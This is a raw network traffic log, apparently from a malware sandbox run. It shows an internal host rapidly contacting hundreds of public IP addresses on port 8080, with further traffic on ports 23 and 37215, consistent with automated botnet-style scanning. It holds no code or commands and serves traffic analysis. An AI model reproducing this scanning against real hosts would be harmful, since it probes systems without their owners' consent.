Nov 23, 2023 05:14:51.885551929 CET	54202	8080	192.168.2.13	94.196.42.44
Nov 23, 2023 05:14:51.885552883 CET	54202	8080	192.168.2.13	31.158.62.124
Nov 23, 2023 05:14:51.885552883 CET	54202	8080	192.168.2.13	31.111.40.232
Nov 23, 2023 05:14:51.885552883 CET	54202	8080	192.168.2.13	95.170.73.166
Nov 23, 2023 05:14:51.885571957 CET	54202	8080	192.168.2.13	95.185.53.144
Nov 23, 2023 05:14:51.885572910 CET	54202	8080	192.168.2.13	94.240.204.226
Nov 23, 2023 05:14:51.885577917 CET	54202	8080	192.168.2.13	85.155.150.143
Nov 23, 2023 05:14:51.885586023 CET	54202	8080	192.168.2.13	62.63.184.88
Nov 23, 2023 05:14:51.885593891 CET	54202	8080	192.168.2.13	95.131.144.70
Nov 23, 2023 05:14:51.885601997 CET	54202	8080	192.168.2.13	62.235.147.209
Nov 23, 2023 05:14:51.885611057 CET	54202	8080	192.168.2.13	85.53.243.67
Nov 23, 2023 05:14:51.885628939 CET	54202	8080	192.168.2.13	31.125.38.205
Nov 23, 2023 05:14:51.885629892 CET	54202	8080	192.168.2.13	85.56.76.235
Nov 23, 2023 05:14:51.885629892 CET	54202	8080	192.168.2.13	85.186.15.126
Nov 23, 2023 05:14:51.885636091 CET	54202	8080	192.168.2.13	94.104.223.191
Nov 23, 2023 05:14:51.885637999 CET	54202	8080	192.168.2.13	62.53.107.134
Nov 23, 2023 05:14:51.885657072 CET	54202	8080	192.168.2.13	31.246.103.213
Nov 23, 2023 05:14:51.885659933 CET	54202	8080	192.168.2.13	31.68.33.1
Nov 23, 2023 05:14:51.885663033 CET	54202	8080	192.168.2.13	85.102.49.154
Nov 23, 2023 05:14:51.885663033 CET	54202	8080	192.168.2.13	31.76.247.195
Nov 23, 2023 05:14:51.885665894 CET	54202	8080	192.168.2.13	94.227.40.48
Nov 23, 2023 05:14:51.885678053 CET	54202	8080	192.168.2.13	94.74.54.195
Nov 23, 2023 05:14:51.885678053 CET	54202	8080	192.168.2.13	62.7.109.193
Nov 23, 2023 05:14:51.885684967 CET	54202	8080	192.168.2.13	31.50.116.190
Nov 23, 2023 05:14:51.885691881 CET	54202	8080	192.168.2.13	95.93.231.15
Nov 23, 2023 05:14:51.885698080 CET	54202	8080	192.168.2.13	31.2.242.197
Nov 23, 2023 05:14:51.885701895 CET	54202	8080	192.168.2.13	31.176.232.11
Nov 23, 2023 05:14:51.885719061 CET	54202	8080	192.168.2.13	94.17.146.132
Nov 23, 2023 05:14:51.885719061 CET	54202	8080	192.168.2.13	62.177.73.75
Nov 23, 2023 05:14:51.885719061 CET	54202	8080	192.168.2.13	94.66.216.21
Nov 23, 2023 05:14:51.885720968 CET	54202	8080	192.168.2.13	95.207.99.83
Nov 23, 2023 05:14:51.885734081 CET	54202	8080	192.168.2.13	31.23.213.230
Nov 23, 2023 05:14:51.885739088 CET	54202	8080	192.168.2.13	85.95.185.189
Nov 23, 2023 05:14:51.885741949 CET	54202	8080	192.168.2.13	62.14.163.141
Nov 23, 2023 05:14:51.885752916 CET	54202	8080	192.168.2.13	31.93.246.203
Nov 23, 2023 05:14:51.885756016 CET	54202	8080	192.168.2.13	85.86.211.136
Nov 23, 2023 05:14:51.885763884 CET	54202	8080	192.168.2.13	62.34.236.101
Nov 23, 2023 05:14:51.885776043 CET	54202	8080	192.168.2.13	95.187.31.15
Nov 23, 2023 05:14:51.885782003 CET	54202	8080	192.168.2.13	62.172.188.211
Nov 23, 2023 05:14:51.885782003 CET	54202	8080	192.168.2.13	31.251.202.192
Nov 23, 2023 05:14:51.885783911 CET	54202	8080	192.168.2.13	62.74.29.212
Nov 23, 2023 05:14:51.885786057 CET	54202	8080	192.168.2.13	94.222.46.134
Nov 23, 2023 05:14:51.885787964 CET	54202	8080	192.168.2.13	94.235.55.138
Nov 23, 2023 05:14:51.885787964 CET	54202	8080	192.168.2.13	94.26.52.191
Nov 23, 2023 05:14:51.885792017 CET	54202	8080	192.168.2.13	85.175.230.41
Nov 23, 2023 05:14:51.885802031 CET	54202	8080	192.168.2.13	94.36.120.31
Nov 23, 2023 05:14:51.885813951 CET	54202	8080	192.168.2.13	31.78.110.217
Nov 23, 2023 05:14:51.885822058 CET	54202	8080	192.168.2.13	31.144.213.232
Nov 23, 2023 05:14:51.885824919 CET	54202	8080	192.168.2.13	31.236.111.209
Nov 23, 2023 05:14:51.885829926 CET	54202	8080	192.168.2.13	85.78.0.84
Nov 23, 2023 05:14:51.885829926 CET	54202	8080	192.168.2.13	31.52.108.79
Nov 23, 2023 05:14:51.885833979 CET	54202	8080	192.168.2.13	85.165.170.155
Nov 23, 2023 05:14:51.885833979 CET	54202	8080	192.168.2.13	85.5.192.148
Nov 23, 2023 05:14:51.885834932 CET	54202	8080	192.168.2.13	94.208.18.31
Nov 23, 2023 05:14:51.885840893 CET	54202	8080	192.168.2.13	62.216.223.57
Nov 23, 2023 05:14:51.885854959 CET	54202	8080	192.168.2.13	94.238.28.77
Nov 23, 2023 05:14:51.885857105 CET	54202	8080	192.168.2.13	95.183.145.100
Nov 23, 2023 05:14:51.885860920 CET	54202	8080	192.168.2.13	94.236.47.36
Nov 23, 2023 05:14:51.885868073 CET	54202	8080	192.168.2.13	94.236.107.38
Nov 23, 2023 05:14:51.885871887 CET	54202	8080	192.168.2.13	94.128.106.152
Nov 23, 2023 05:14:51.885873079 CET	54202	8080	192.168.2.13	85.245.125.127
Nov 23, 2023 05:14:51.885884047 CET	54202	8080	192.168.2.13	62.142.203.151
Nov 23, 2023 05:14:51.885895014 CET	54202	8080	192.168.2.13	94.245.9.120
Nov 23, 2023 05:14:51.885896921 CET	54202	8080	192.168.2.13	94.126.151.59
Nov 23, 2023 05:14:51.885905027 CET	54202	8080	192.168.2.13	31.116.185.142
Nov 23, 2023 05:14:51.885915041 CET	54202	8080	192.168.2.13	31.150.129.41
Nov 23, 2023 05:14:51.885917902 CET	54202	8080	192.168.2.13	85.160.113.91
Nov 23, 2023 05:14:51.885931015 CET	54202	8080	192.168.2.13	94.119.195.89
Nov 23, 2023 05:14:51.885932922 CET	54202	8080	192.168.2.13	94.158.76.215
Nov 23, 2023 05:14:51.885947943 CET	54202	8080	192.168.2.13	31.217.217.250
Nov 23, 2023 05:14:51.885951996 CET	54202	8080	192.168.2.13	85.248.148.35
Nov 23, 2023 05:14:51.885956049 CET	54202	8080	192.168.2.13	94.160.76.247
Nov 23, 2023 05:14:51.885963917 CET	54202	8080	192.168.2.13	31.169.125.94
Nov 23, 2023 05:14:51.885968924 CET	54202	8080	192.168.2.13	85.64.135.108
Nov 23, 2023 05:14:51.885978937 CET	54202	8080	192.168.2.13	31.28.75.24
Nov 23, 2023 05:14:51.885979891 CET	54202	8080	192.168.2.13	31.212.171.93
Nov 23, 2023 05:14:51.885994911 CET	54202	8080	192.168.2.13	62.101.129.154
Nov 23, 2023 05:14:51.885998964 CET	54202	8080	192.168.2.13	85.139.60.76
Nov 23, 2023 05:14:51.886007071 CET	54202	8080	192.168.2.13	62.62.214.45
Nov 23, 2023 05:14:51.886014938 CET	54202	8080	192.168.2.13	62.235.20.42
Nov 23, 2023 05:14:51.886015892 CET	54202	8080	192.168.2.13	62.34.164.81
Nov 23, 2023 05:14:51.886023045 CET	54202	8080	192.168.2.13	31.64.25.185
Nov 23, 2023 05:14:51.886023045 CET	54202	8080	192.168.2.13	95.24.195.16
Nov 23, 2023 05:14:51.886035919 CET	54202	8080	192.168.2.13	94.111.148.193
Nov 23, 2023 05:14:51.886044025 CET	54202	8080	192.168.2.13	62.14.151.54
Nov 23, 2023 05:14:51.886045933 CET	54202	8080	192.168.2.13	62.40.70.120
Nov 23, 2023 05:14:51.886050940 CET	54202	8080	192.168.2.13	95.133.251.55
Nov 23, 2023 05:14:51.886053085 CET	54202	8080	192.168.2.13	31.2.226.18
Nov 23, 2023 05:14:51.886069059 CET	54202	8080	192.168.2.13	62.10.152.253
Nov 23, 2023 05:14:51.886070013 CET	54202	8080	192.168.2.13	95.58.39.207
Nov 23, 2023 05:14:51.886074066 CET	54202	8080	192.168.2.13	31.49.246.126
Nov 23, 2023 05:14:51.886080980 CET	54202	8080	192.168.2.13	62.209.121.218
Nov 23, 2023 05:14:51.886080980 CET	54202	8080	192.168.2.13	31.139.208.178
Nov 23, 2023 05:14:51.886092901 CET	54202	8080	192.168.2.13	85.142.95.213
Nov 23, 2023 05:14:51.886100054 CET	54202	8080	192.168.2.13	31.127.199.187
Nov 23, 2023 05:14:51.886106968 CET	54202	8080	192.168.2.13	94.144.0.105
Nov 23, 2023 05:14:51.886117935 CET	54202	8080	192.168.2.13	62.115.241.113
Nov 23, 2023 05:14:51.886127949 CET	54202	8080	192.168.2.13	31.229.39.102
Nov 23, 2023 05:14:51.886128902 CET	54202	8080	192.168.2.13	62.93.80.23
Nov 23, 2023 05:14:51.886135101 CET	54202	8080	192.168.2.13	62.219.59.138
Nov 23, 2023 05:14:51.886137009 CET	54202	8080	192.168.2.13	31.74.183.53
Nov 23, 2023 05:14:51.886137009 CET	54202	8080	192.168.2.13	85.131.238.177
Nov 23, 2023 05:14:51.886137962 CET	54202	8080	192.168.2.13	31.21.163.84
Nov 23, 2023 05:14:51.886152983 CET	54202	8080	192.168.2.13	95.246.87.35
Nov 23, 2023 05:14:51.886153936 CET	54202	8080	192.168.2.13	62.238.46.227
Nov 23, 2023 05:14:51.886154890 CET	54202	8080	192.168.2.13	62.163.66.180
Nov 23, 2023 05:14:51.886178017 CET	54202	8080	192.168.2.13	94.114.84.181
Nov 23, 2023 05:14:51.886179924 CET	54202	8080	192.168.2.13	31.54.199.21
Nov 23, 2023 05:14:51.886179924 CET	54202	8080	192.168.2.13	95.134.24.85
Nov 23, 2023 05:14:51.886185884 CET	54202	8080	192.168.2.13	95.1.9.30
Nov 23, 2023 05:14:51.886188030 CET	54202	8080	192.168.2.13	95.151.148.231
Nov 23, 2023 05:14:51.886203051 CET	54202	8080	192.168.2.13	62.27.25.56
Nov 23, 2023 05:14:51.886205912 CET	54202	8080	192.168.2.13	62.144.246.245
Nov 23, 2023 05:14:51.886205912 CET	54202	8080	192.168.2.13	62.63.190.64
Nov 23, 2023 05:14:51.886210918 CET	54202	8080	192.168.2.13	85.18.64.228
Nov 23, 2023 05:14:51.886233091 CET	54202	8080	192.168.2.13	85.73.123.167
Nov 23, 2023 05:14:51.886233091 CET	54202	8080	192.168.2.13	62.244.222.128
Nov 23, 2023 05:14:51.886234999 CET	54202	8080	192.168.2.13	31.45.126.50
Nov 23, 2023 05:14:51.886238098 CET	54202	8080	192.168.2.13	31.116.27.91
Nov 23, 2023 05:14:51.886241913 CET	54202	8080	192.168.2.13	94.35.3.152
Nov 23, 2023 05:14:51.886245966 CET	54202	8080	192.168.2.13	31.250.157.213
Nov 23, 2023 05:14:51.886260986 CET	54202	8080	192.168.2.13	62.115.231.157
Nov 23, 2023 05:14:51.886265993 CET	54202	8080	192.168.2.13	94.149.160.58
Nov 23, 2023 05:14:51.886265993 CET	54202	8080	192.168.2.13	31.213.151.138
Nov 23, 2023 05:14:51.886271000 CET	54202	8080	192.168.2.13	85.4.207.83
Nov 23, 2023 05:14:51.886276007 CET	54202	8080	192.168.2.13	94.20.168.238
Nov 23, 2023 05:14:51.886277914 CET	54202	8080	192.168.2.13	85.89.129.150
Nov 23, 2023 05:14:51.886281967 CET	54202	8080	192.168.2.13	31.48.209.189
Nov 23, 2023 05:14:51.886287928 CET	54202	8080	192.168.2.13	85.75.48.87
Nov 23, 2023 05:14:51.886293888 CET	54202	8080	192.168.2.13	31.17.169.48
Nov 23, 2023 05:14:51.886301041 CET	54202	8080	192.168.2.13	62.128.46.94
Nov 23, 2023 05:14:51.886303902 CET	54202	8080	192.168.2.13	95.204.159.40
Nov 23, 2023 05:14:51.886315107 CET	54202	8080	192.168.2.13	85.58.53.63
Nov 23, 2023 05:14:51.886318922 CET	54202	8080	192.168.2.13	94.52.238.102
Nov 23, 2023 05:14:51.886323929 CET	54202	8080	192.168.2.13	62.201.68.126
Nov 23, 2023 05:14:51.886323929 CET	54202	8080	192.168.2.13	95.87.33.164
Nov 23, 2023 05:14:51.886343956 CET	54202	8080	192.168.2.13	85.93.196.45
Nov 23, 2023 05:14:51.886343956 CET	54202	8080	192.168.2.13	62.35.240.147
Nov 23, 2023 05:14:51.886347055 CET	54202	8080	192.168.2.13	95.248.193.208
Nov 23, 2023 05:14:51.886360884 CET	54202	8080	192.168.2.13	85.10.2.155
Nov 23, 2023 05:14:51.886363029 CET	54202	8080	192.168.2.13	31.51.169.194
Nov 23, 2023 05:14:51.886363029 CET	54202	8080	192.168.2.13	95.252.205.98
Nov 23, 2023 05:14:51.886370897 CET	54202	8080	192.168.2.13	94.78.218.185
Nov 23, 2023 05:14:51.886372089 CET	54202	8080	192.168.2.13	62.118.166.31
Nov 23, 2023 05:14:51.886373997 CET	54202	8080	192.168.2.13	31.35.83.41
Nov 23, 2023 05:14:51.886379957 CET	54202	8080	192.168.2.13	85.159.192.246
Nov 23, 2023 05:14:51.886384010 CET	54202	8080	192.168.2.13	94.185.140.61
Nov 23, 2023 05:14:51.886399984 CET	54202	8080	192.168.2.13	95.9.151.217
Nov 23, 2023 05:14:51.886399984 CET	54202	8080	192.168.2.13	95.64.221.74
Nov 23, 2023 05:14:51.886400938 CET	54202	8080	192.168.2.13	62.232.191.76
Nov 23, 2023 05:14:51.886415005 CET	54202	8080	192.168.2.13	94.62.189.35
Nov 23, 2023 05:14:51.886415005 CET	54202	8080	192.168.2.13	85.251.100.233
Nov 23, 2023 05:14:51.886425018 CET	54202	8080	192.168.2.13	85.112.127.108
Nov 23, 2023 05:14:51.886429071 CET	54202	8080	192.168.2.13	94.47.173.61
Nov 23, 2023 05:14:51.886441946 CET	54202	8080	192.168.2.13	94.254.100.198
Nov 23, 2023 05:14:51.886456013 CET	54202	8080	192.168.2.13	62.78.198.122
Nov 23, 2023 05:14:51.886457920 CET	54202	8080	192.168.2.13	31.158.227.178
Nov 23, 2023 05:14:51.886457920 CET	54202	8080	192.168.2.13	95.136.14.153
Nov 23, 2023 05:14:51.886464119 CET	54202	8080	192.168.2.13	85.213.190.79
Nov 23, 2023 05:14:51.886472940 CET	54202	8080	192.168.2.13	85.29.80.5
Nov 23, 2023 05:14:51.886472940 CET	54202	8080	192.168.2.13	62.205.196.16
Nov 23, 2023 05:14:51.886482954 CET	54202	8080	192.168.2.13	31.167.159.166
Nov 23, 2023 05:14:51.886493921 CET	54202	8080	192.168.2.13	31.118.201.210
Nov 23, 2023 05:14:51.886497021 CET	54202	8080	192.168.2.13	94.162.100.210
Nov 23, 2023 05:14:51.886502981 CET	54202	8080	192.168.2.13	85.89.191.214
Nov 23, 2023 05:14:51.886507034 CET	54202	8080	192.168.2.13	62.61.81.17
Nov 23, 2023 05:14:51.886519909 CET	54202	8080	192.168.2.13	94.50.222.98
Nov 23, 2023 05:14:51.886526108 CET	54202	8080	192.168.2.13	95.206.103.163
Nov 23, 2023 05:14:51.886526108 CET	54202	8080	192.168.2.13	31.155.208.93
Nov 23, 2023 05:14:51.886532068 CET	54202	8080	192.168.2.13	95.172.145.75
Nov 23, 2023 05:14:51.886543989 CET	54202	8080	192.168.2.13	94.44.28.120
Nov 23, 2023 05:14:51.886544943 CET	54202	8080	192.168.2.13	95.186.173.168
Nov 23, 2023 05:14:51.886553049 CET	54202	8080	192.168.2.13	62.254.84.219
Nov 23, 2023 05:14:51.886554956 CET	54202	8080	192.168.2.13	62.250.92.168
Nov 23, 2023 05:14:51.886559010 CET	54202	8080	192.168.2.13	62.67.9.21
Nov 23, 2023 05:14:51.886559963 CET	54202	8080	192.168.2.13	94.75.98.5
Nov 23, 2023 05:14:51.886563063 CET	54202	8080	192.168.2.13	94.77.250.176
Nov 23, 2023 05:14:51.886565924 CET	54202	8080	192.168.2.13	95.192.58.147
Nov 23, 2023 05:14:51.886583090 CET	54202	8080	192.168.2.13	95.210.230.255
Nov 23, 2023 05:14:51.886589050 CET	54202	8080	192.168.2.13	31.167.16.215
Nov 23, 2023 05:14:51.886591911 CET	54202	8080	192.168.2.13	62.78.110.155
Nov 23, 2023 05:14:51.886595011 CET	54202	8080	192.168.2.13	85.244.111.61
Nov 23, 2023 05:14:51.886609077 CET	54202	8080	192.168.2.13	95.202.16.9
Nov 23, 2023 05:14:51.886611938 CET	54202	8080	192.168.2.13	95.53.126.170
Nov 23, 2023 05:14:51.886617899 CET	54202	8080	192.168.2.13	85.74.184.212
Nov 23, 2023 05:14:51.886626005 CET	54202	8080	192.168.2.13	94.196.40.151
Nov 23, 2023 05:14:51.886636972 CET	54202	8080	192.168.2.13	94.54.120.63
Nov 23, 2023 05:14:51.886645079 CET	54202	8080	192.168.2.13	31.65.21.52
Nov 23, 2023 05:14:51.886661053 CET	54202	8080	192.168.2.13	62.170.115.180
Nov 23, 2023 05:14:51.886661053 CET	54202	8080	192.168.2.13	62.215.54.164
Nov 23, 2023 05:14:51.886662006 CET	54202	8080	192.168.2.13	95.23.249.243
Nov 23, 2023 05:14:51.886665106 CET	54202	8080	192.168.2.13	31.221.109.79
Nov 23, 2023 05:14:51.886665106 CET	54202	8080	192.168.2.13	85.101.50.217
Nov 23, 2023 05:14:51.886672020 CET	54202	8080	192.168.2.13	62.188.196.24
Nov 23, 2023 05:14:51.886679888 CET	54202	8080	192.168.2.13	94.137.206.37
Nov 23, 2023 05:14:51.886681080 CET	54202	8080	192.168.2.13	85.139.179.243
Nov 23, 2023 05:14:51.886692047 CET	54202	8080	192.168.2.13	85.57.49.77
Nov 23, 2023 05:14:51.886718988 CET	54202	8080	192.168.2.13	95.65.110.43
Nov 23, 2023 05:14:51.886718988 CET	54202	8080	192.168.2.13	94.180.114.162
Nov 23, 2023 05:14:51.886720896 CET	54202	8080	192.168.2.13	95.188.8.58
Nov 23, 2023 05:14:51.886727095 CET	54202	8080	192.168.2.13	62.98.21.119
Nov 23, 2023 05:14:51.886735916 CET	54202	8080	192.168.2.13	94.212.207.47
Nov 23, 2023 05:14:51.886753082 CET	54202	8080	192.168.2.13	31.179.24.182
Nov 23, 2023 05:14:51.886760950 CET	54202	8080	192.168.2.13	31.166.250.49
Nov 23, 2023 05:14:51.886761904 CET	54202	8080	192.168.2.13	95.147.217.123
Nov 23, 2023 05:14:51.886770964 CET	54202	8080	192.168.2.13	95.240.116.140
Nov 23, 2023 05:14:51.886775017 CET	54202	8080	192.168.2.13	95.35.89.19
Nov 23, 2023 05:14:51.886786938 CET	54202	8080	192.168.2.13	62.228.7.24
Nov 23, 2023 05:14:51.886795044 CET	54202	8080	192.168.2.13	95.209.4.16
Nov 23, 2023 05:14:51.886799097 CET	54202	8080	192.168.2.13	95.210.11.38
Nov 23, 2023 05:14:51.886805058 CET	54202	8080	192.168.2.13	85.253.216.26
Nov 23, 2023 05:14:51.886806011 CET	54202	8080	192.168.2.13	62.174.235.96
Nov 23, 2023 05:14:51.886807919 CET	54202	8080	192.168.2.13	85.255.63.63
Nov 23, 2023 05:14:51.886821985 CET	54202	8080	192.168.2.13	85.114.154.214
Nov 23, 2023 05:14:51.886822939 CET	54202	8080	192.168.2.13	85.70.151.130
Nov 23, 2023 05:14:51.886828899 CET	54202	8080	192.168.2.13	85.126.159.18
Nov 23, 2023 05:14:51.886828899 CET	54202	8080	192.168.2.13	95.63.204.81
Nov 23, 2023 05:14:51.886843920 CET	54202	8080	192.168.2.13	85.252.233.44
Nov 23, 2023 05:14:51.886846066 CET	54202	8080	192.168.2.13	95.96.110.213
Nov 23, 2023 05:14:51.886847973 CET	54202	8080	192.168.2.13	85.118.228.144
Nov 23, 2023 05:14:51.886863947 CET	54202	8080	192.168.2.13	31.48.167.90
Nov 23, 2023 05:14:51.886867046 CET	54202	8080	192.168.2.13	31.143.37.116
Nov 23, 2023 05:14:51.886873007 CET	54202	8080	192.168.2.13	85.14.253.78
Nov 23, 2023 05:14:51.886873007 CET	54202	8080	192.168.2.13	31.15.250.159
Nov 23, 2023 05:14:51.886873007 CET	54202	8080	192.168.2.13	62.117.221.200
Nov 23, 2023 05:14:51.886883974 CET	54202	8080	192.168.2.13	31.116.43.185
Nov 23, 2023 05:14:51.886883974 CET	54202	8080	192.168.2.13	85.46.76.81
Nov 23, 2023 05:14:51.886883974 CET	54202	8080	192.168.2.13	31.148.51.181
Nov 23, 2023 05:14:51.886890888 CET	54202	8080	192.168.2.13	62.153.175.41
Nov 23, 2023 05:14:51.886919022 CET	57484	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:51.886933088 CET	57484	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:51.886965036 CET	57502	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:51.888664961 CET	23	55738	60.125.199.133	192.168.2.13
Nov 23, 2023 05:14:51.903857946 CET	23	55738	211.185.128.140	192.168.2.13
Nov 23, 2023 05:14:51.913510084 CET	8080	57446	94.121.21.87	192.168.2.13
Nov 23, 2023 05:14:51.913568020 CET	57446	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:51.913736105 CET	57446	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:51.913736105 CET	57446	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:51.913737059 CET	57464	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:51.914861917 CET	37215	54970	156.253.9.76	192.168.2.13
Nov 23, 2023 05:14:51.924485922 CET	23	55738	58.96.100.51	192.168.2.13
Nov 23, 2023 05:14:51.964461088 CET	23	55738	103.2.232.249	192.168.2.13
Nov 23, 2023 05:14:51.987430096 CET	8080	54202	94.142.130.30	192.168.2.13
Nov 23, 2023 05:14:51.987720966 CET	54202	8080	192.168.2.13	94.142.130.30
Nov 23, 2023 05:14:52.006791115 CET	49694	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:52.018273115 CET	23	54568	93.33.192.250	192.168.2.13
Nov 23, 2023 05:14:52.018418074 CET	54568	23	192.168.2.13	93.33.192.250
Nov 23, 2023 05:14:52.018726110 CET	54568	23	192.168.2.13	93.33.192.250
Nov 23, 2023 05:14:52.020641088 CET	23	55738	125.40.44.243	192.168.2.13
Nov 23, 2023 05:14:52.033479929 CET	23	55738	218.58.10.186	192.168.2.13
Nov 23, 2023 05:14:52.060017109 CET	8080	54202	31.169.125.94	192.168.2.13
Nov 23, 2023 05:14:52.077470064 CET	8080	54202	94.107.42.232	192.168.2.13
Nov 23, 2023 05:14:52.077670097 CET	54202	8080	192.168.2.13	94.107.42.232
Nov 23, 2023 05:14:52.080207109 CET	8080	54202	95.175.118.117	192.168.2.13
Nov 23, 2023 05:14:52.080255032 CET	54202	8080	192.168.2.13	95.175.118.117
Nov 23, 2023 05:14:52.083561897 CET	8080	54202	95.216.76.88	192.168.2.13
Nov 23, 2023 05:14:52.083870888 CET	8080	54202	62.20.78.249	192.168.2.13
Nov 23, 2023 05:14:52.084306955 CET	8080	54202	95.233.109.45	192.168.2.13
Nov 23, 2023 05:14:52.089766026 CET	8080	54202	31.148.134.215	192.168.2.13
Nov 23, 2023 05:14:52.106225014 CET	8080	54202	94.122.23.166	192.168.2.13
Nov 23, 2023 05:14:52.106384039 CET	54202	8080	192.168.2.13	94.122.23.166
Nov 23, 2023 05:14:52.110280037 CET	8080	54202	31.200.121.20	192.168.2.13
Nov 23, 2023 05:14:52.110332012 CET	54202	8080	192.168.2.13	31.200.121.20
Nov 23, 2023 05:14:52.126761913 CET	8080	54202	62.168.171.49	192.168.2.13
Nov 23, 2023 05:14:52.127386093 CET	8080	54202	31.153.38.7	192.168.2.13
Nov 23, 2023 05:14:52.129956961 CET	8080	54202	94.191.187.90	192.168.2.13
Nov 23, 2023 05:14:52.148583889 CET	8080	57464	94.121.21.87	192.168.2.13
Nov 23, 2023 05:14:52.148804903 CET	57464	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:52.148999929 CET	45358	8080	192.168.2.13	94.122.23.166
Nov 23, 2023 05:14:52.149000883 CET	47508	8080	192.168.2.13	94.142.130.30
Nov 23, 2023 05:14:52.149000883 CET	39132	8080	192.168.2.13	95.175.118.117
Nov 23, 2023 05:14:52.149004936 CET	41382	8080	192.168.2.13	31.200.121.20
Nov 23, 2023 05:14:52.149027109 CET	57464	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:52.149034023 CET	45748	8080	192.168.2.13	94.107.42.232
Nov 23, 2023 05:14:52.150276899 CET	8080	57446	94.121.21.87	192.168.2.13
Nov 23, 2023 05:14:52.191237926 CET	8080	49694	31.136.127.219	192.168.2.13
Nov 23, 2023 05:14:52.191498041 CET	49694	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:52.191498041 CET	49694	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:52.220254898 CET	23	54568	93.33.192.250	192.168.2.13
Nov 23, 2023 05:14:52.220391035 CET	54568	23	192.168.2.13	93.33.192.250
Nov 23, 2023 05:14:52.250694990 CET	8080	47508	94.142.130.30	192.168.2.13
Nov 23, 2023 05:14:52.250962973 CET	47508	8080	192.168.2.13	94.142.130.30
Nov 23, 2023 05:14:52.250962973 CET	47508	8080	192.168.2.13	94.142.130.30
Nov 23, 2023 05:14:52.250962973 CET	47508	8080	192.168.2.13	94.142.130.30
Nov 23, 2023 05:14:52.250967026 CET	47518	8080	192.168.2.13	94.142.130.30
Nov 23, 2023 05:14:52.337515116 CET	8080	45748	94.107.42.232	192.168.2.13
Nov 23, 2023 05:14:52.337730885 CET	45748	8080	192.168.2.13	94.107.42.232
Nov 23, 2023 05:14:52.337986946 CET	54202	8080	192.168.2.13	95.176.145.244
Nov 23, 2023 05:14:52.337986946 CET	54202	8080	192.168.2.13	31.34.219.193
Nov 23, 2023 05:14:52.337991953 CET	54202	8080	192.168.2.13	62.105.15.97
Nov 23, 2023 05:14:52.338021994 CET	54202	8080	192.168.2.13	31.174.167.16
Nov 23, 2023 05:14:52.338021994 CET	54202	8080	192.168.2.13	62.91.241.49
Nov 23, 2023 05:14:52.338026047 CET	54202	8080	192.168.2.13	85.133.189.14
Nov 23, 2023 05:14:52.338026047 CET	54202	8080	192.168.2.13	85.14.78.130
Nov 23, 2023 05:14:52.338026047 CET	54202	8080	192.168.2.13	85.25.123.88
Nov 23, 2023 05:14:52.338026047 CET	54202	8080	192.168.2.13	94.160.58.41
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	62.97.87.171
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	62.6.165.143
Nov 23, 2023 05:14:52.338027954 CET	54202	8080	192.168.2.13	62.118.183.169
Nov 23, 2023 05:14:52.338033915 CET	54202	8080	192.168.2.13	94.3.72.62
Nov 23, 2023 05:14:52.338033915 CET	54202	8080	192.168.2.13	95.4.51.175
Nov 23, 2023 05:14:52.338033915 CET	54202	8080	192.168.2.13	94.31.100.168
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	31.196.176.114
Nov 23, 2023 05:14:52.338037014 CET	54202	8080	192.168.2.13	62.193.157.2
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	94.65.83.22
Nov 23, 2023 05:14:52.338033915 CET	54202	8080	192.168.2.13	94.227.192.201
Nov 23, 2023 05:14:52.338027954 CET	54202	8080	192.168.2.13	62.64.3.17
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	94.88.231.19
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	62.115.233.94
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	94.207.174.42
Nov 23, 2023 05:14:52.338027954 CET	54202	8080	192.168.2.13	31.212.80.122
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	95.255.64.155
Nov 23, 2023 05:14:52.338028908 CET	54202	8080	192.168.2.13	94.62.128.239
Nov 23, 2023 05:14:52.338027954 CET	54202	8080	192.168.2.13	62.21.88.245
Nov 23, 2023 05:14:52.338028908 CET	54202	8080	192.168.2.13	62.219.11.172
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	95.138.178.251
Nov 23, 2023 05:14:52.338027954 CET	54202	8080	192.168.2.13	31.125.225.210
Nov 23, 2023 05:14:52.338028908 CET	54202	8080	192.168.2.13	85.211.49.116
Nov 23, 2023 05:14:52.338028908 CET	54202	8080	192.168.2.13	85.209.158.236
Nov 23, 2023 05:14:52.338033915 CET	54202	8080	192.168.2.13	31.170.65.192
Nov 23, 2023 05:14:52.338027954 CET	54202	8080	192.168.2.13	85.109.113.250
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	31.60.70.154
Nov 23, 2023 05:14:52.338037014 CET	54202	8080	192.168.2.13	85.11.169.159
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	31.33.228.246
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	31.48.177.238
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	95.142.121.107
Nov 23, 2023 05:14:52.338028908 CET	54202	8080	192.168.2.13	85.197.213.180
Nov 23, 2023 05:14:52.338033915 CET	54202	8080	192.168.2.13	94.202.43.244
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	62.12.57.47
Nov 23, 2023 05:14:52.338037014 CET	54202	8080	192.168.2.13	31.253.96.246
Nov 23, 2023 05:14:52.338033915 CET	54202	8080	192.168.2.13	62.224.204.242
Nov 23, 2023 05:14:52.338036060 CET	54202	8080	192.168.2.13	31.234.153.7
Nov 23, 2023 05:14:52.338027000 CET	54202	8080	192.168.2.13	94.118.5.199
